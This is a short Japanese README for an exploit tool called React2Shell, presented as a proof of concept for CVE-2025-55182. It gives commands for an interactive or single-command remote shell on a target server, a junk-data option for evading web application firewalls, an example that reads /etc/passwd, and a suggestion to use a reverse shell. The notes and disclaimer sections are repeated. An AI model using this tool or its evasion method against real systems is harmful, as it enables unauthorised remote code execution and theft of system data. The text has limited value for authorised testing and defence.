React2Shell

CVE-2025-55182 PoC

使用方法

# Interactive shell
./react2shell -u http://target:3000

# Single command
./react2shell -u http://target:3000 -c "id"

# WAF bypass (128KB junk data)
./react2shell -u http://target:3000 -waf 128

ビルド

go build -o react2shell .

オプション

フラグ	説明
-u	ターゲットURL
-c	単一コマンド（オプション）
-waf	WAF回避用ジャンクデータのサイズ（KB）（オプション）

注意事項

• 各コマンドは新しいシェルセッションで実行されます
• ; または && を使用してコマンドを連鎖できます: cd /etc && cat passwd
• WAF回避機能は、ペイロードの前にジャンクデータを追加してコンテンツ検査を回避します

免責事項

認可されたセキュリティテストのみに使用してください。

• ; または && を使用してコマンドを連鎖できます: cd /etc && cat passwd
• 永続的なシェルが必要な場合は、リバースシェルを使用してください

免責事項

認可されたセキュリティテストのみに使用してください。